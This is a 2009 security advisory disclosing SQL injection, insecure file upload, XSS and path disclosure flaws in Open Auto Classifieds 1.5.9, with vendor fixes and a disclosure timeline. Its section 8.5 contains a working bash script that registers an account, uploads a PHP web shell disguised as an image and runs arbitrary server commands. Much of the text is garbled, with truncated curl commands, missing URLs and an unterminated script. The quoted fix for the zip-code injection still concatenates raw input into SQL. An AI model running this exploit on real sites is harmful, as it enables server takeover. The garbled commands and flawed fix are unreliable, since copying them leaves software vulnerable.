[MORNINGSTAR-2009-01] Multiple security issues in Open Auto Classifieds version <= 1.5.9

MorningStar Security - Advisory

Multiple security issues in Open Auto Classifieds

1. Advisory Information
Title: Multiple security issues in Open Auto Classifieds
Advisory ID: MORNINGSTAR-2009-01
Advisory URL: http://www.morningstarsecurity.com/advisories/
Release Type: Co-ordinated, responsible disclosure

2. Vulnerability Information
Class: SQL Injection, Insecure File Upload, Cross Site Scripting, 
Filepath Disclosure
Remotely Exploitable: Yes
Locally Exploitable: No

3. Vulnerability Description
Open Auto Classifieds is a vehicle listings manager that is popular with 
car dealer websites. Its written in PHP + MySQL and is available free 
at http://openautoclassifieds.com/.

Multiple vulnerabilities exist in Open Auto Classifieds. These 
vulnerabilities can be exploited to allow access to read any information 
from the database, attack web browser clients through the web site, 
disclose the file path of the application and execute any arbitrary 
command on the web server.

Other security issues exist such as the registration form asks for a 
password once, not twice for verification.

4. Vulnerable packages
Open Auto Classifieds versions <= 1.5.9

5. Non-vulnerable packages
Open Auto Classifieds versions >= 1.6.0
A filepath disclosure vulnerability is not fixed in version 1.6.0

6. Vendor information, Solutions and Workarounds
Upgrade, or apply the code fixes shown with each vulnerability.
Brandon from Open Auto Classifieds was very helpful with his fast respsonse.

7. Credits
These vulnerabilities were discovered and researched by Andrew Horton 
(urbanadventurer) from MorningStar Security.

8. Technical Description / Proof of Concept

8.1 Introduction

Open Auto Classifieds powers many car dealer websites. No advisories for 
this software have been released before. Multiple SQL injection, File 
upload, XSS (Cross Site Scripting) and Filepath disclosure 
vulnerabilities were found in version 1.5.9.

8.3 SQL Injection in xml_zone_data.php
Severity: High

Allows arbitrary SELECT SQL injection to the database.

8.3.1 Proof of concept exploit

$ curl 
| grep ":" | sort -u

This will give you the usernames and passwords in a standard unix passwd 
format. Note that the raw MD5 hashes are salted with a suffix of _a*"

8.3.2 Fix
Vendor note:
Improper int check for $filter
Fix: Change line 31 of xml_zone_data.php to "$country_id = 
(int)$filter;" I have tested against your method and no longer have the 
specific leak.

8.4 SQL Injection in search.php and listings.php
Severity: High

Allows for blind sql injection attacks on the start_zip parameter.

8.4.1 Proof of concept exploit

$ curl -d 

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  
                                 Dload  Upload   Total   Spent    Left  
100  1508  100  1508    0     0  13220      0 --:--:-- --:--:-- 
--:--:--     0

8.4.2 Fix
Vendor note:
It seems the cause of this was having the zip field type as a varchar in 
the db and in the listings.php I was checking as a dissimilar type thus 
allowing the issue. After making the below change I was unable to 
reproduce the timing issue.
FIX: Change line 109 in the listings.php to this $addOnSQL.="zip = " .
$_POST["start_zip"] . "";

8.5 Insecure File Upload in useredit.php
Severity: Critical

Leads to arbitrary command execution

A registered user can upload a malicious profile image. The program 
checks if an extension after the first dot in the filename is in a 
whitelist. This means that a file nameed, lala.jpg.php would be accepted.

This issue also affects uploading images in the add and edit listings 
pages available to admin users. The issue is located in the 
checkAllowedExt() function.

8.5.1 Proof of concept exploit

1. Register a user at /register.php
2. Upload a PHP script as a profile picture named blah.jpg.php
3. Go to the member.php page and view the source for the thumbnail URL
   eg. <a href="member.php?action=viewfull"><img 
src="images/users/abcdef2053blah_thumb.jpg" alt="abcdef" /></a>
4. Go to http://test/openauto/images/users/USERNUMBERblah.jpg.php to 
access the php script
   where USER is your username and NUMBER is the number in the thumbnail 
   eg. http://test/openauto/images/users/abcdef2638blah.jpg.php?cmd=id

# File Upload exploit for Open Auto Classifieds version <= 1.5.9
# Researched by Andrew Horton (urbanadventurer)
# (c) MorningStar Security, 2009  http://www.morningstarsecurity.com/

if [ -z "$1" ]; then
    echo  "Usage: $0 <target-url>"
    echo "File upload proof of concept exploit for Open Auto Classifieds 
<= v 1.5.9"
    echo "This will create a user with the name hacker and pass 
31337 then upload a command execution shell."
    echo -e "eg. $0 http://www.myweb.com/cardealer/
echo "<? print passthru($_REQUEST[cmd]); ?>" > evilimage.jpg.php    

echo "Registering user"
curl -c cookiejar -d 
"$target/register.php" >/dev/null 2>&1
echo "Login"
curl -b cookiejar -c cookiejar -d "user=hacker&pass=31337&submit=Login" 
"$target/login.php" >/dev/null 2>&1
echo "Upload command shell as user image"
curl -b cookiejar -c cookiejar -F "image=@evilimage.jpg.php" -F 
"max=524288" -F "addimage=Submit" "$target/useredit.php" >/dev/null 2>&1

CODE=`curl -b cookiejar -c cookiejar "$target/member.php" 2>/dev/null | 
grep _thumb.jpg | egrep -o "[0-9]{4}"`
rm -f cookiejar evilimage.jpg.php
echo "Command shell found at : 

curl "$target/images/users/hacker${CODE}evilimage.jpg.php?cmd=id" 
while read cmd; do
    curl -d "cmd=$cmd" 
"$target/images/users/hacker${CODE}evilimage.jpg.php" 2>/dev/null

8.5.2 Fix
Vendor note: Replace lines 921 and 922 of the function.php with this 
line of code
"$ext = pathinfo($temp, PATHINFO_EXTENSION);"

Also add an additional check in the uploadUserListImage and UploadListImage
just above the call to checkImageSize function
    if (!getimagesize($tmpfile))
        return false;

MorningStar note: checkImageSize cant be relied on as a fix. The 
pathinfo() should be fine.

8.6 Cross Site Scripting in listings.php
Severity: Medium

8.6.1 Proof of concept exploit

Send a user to url like 

8.6.2 Fix
Vendor note: I seem to have stopped the alert box by adding an int check 
to the getCurrentItem function on line 204 in the 
SmartyPaginate.class.php file. The smarty class seems to be the root 
cause of the issue.
      function  getCurrentItem($id = default) {
        return (int)$_SESSION[SmartyPaginate][$id][current_item];
There may be more issues regarding similar Attack methods but for now 
this one seems it has a fix. I have also notified Monte Ohrt of the 
Smarty development team regarding this issue.

8.7 File path disclosure in paycalc.php
Severity: Low

8.7.1 Proof of concept exploit

Exploit by setting interest to 0 to see the following output:
Warning: Division by zero in /var/www/test/openauto/paycalc.php on line 109

8.7.2 Fix
Vendor note:
Replace line 104 of the paycalc.php with the following code.
if (isset($_POST["interest_rate"]) && $_POST["interest_rate"] == 0) {
    $annual_interest = 10;
} else {
    $annual_interest   = isset($_POST["interest_rate"])  ?
$_POST["interest_rate"] : 10;

8.8 File path disclosure in 
Severity: Low

8.8.1 Proof of concept exploit
To access this url, encode it first.
$ curl 

Warning: require_once(SMARTY_CORE_DIRcore.load_plugins.php) 
[function.require-once]: failed to open stream: No such file or 
directory in 
on line 7

Fatal error: require_once() [function.require]: Failed opening required 
(include_path=.:/usr/share/php:/usr/share/pear) in 
on line 7

8.8.2 Fix
Vendor note:
The v1.6.0 update does not contain the fix for the admin.tpl path 
disclosure issue. That will be released in v1.6.1.

9. Report Timeline
24th August 2009 - Andrew Horton at MorningStar Security notifies 
Brandon Keep from Open Auto Classifieds of the vulnerabilities.
25th August 2009 - Brandon Keep from Open Auto Classifieds provides 
fixes for the security vulnerabilities.
26th August 2009 - Open Auto Classifieds releases patched version 1.6.0 
on FreshMeat.net
27th August 2009 - MorningStar Security publishes this advisory

10. About Morning Star Security
MorningStar Security is an IT security consulting firm in Christchurch, 
New Zealand.

The freshest blend of IT security news is available for your daily 
consumption at http://www.morningstarsecurity.com/news/

11. Disclaimer & Copyright
The contents of this advisory are copyright (c) 2009 MorningStar 
Security, and may be distributed freely provided that and proper credit 
is given.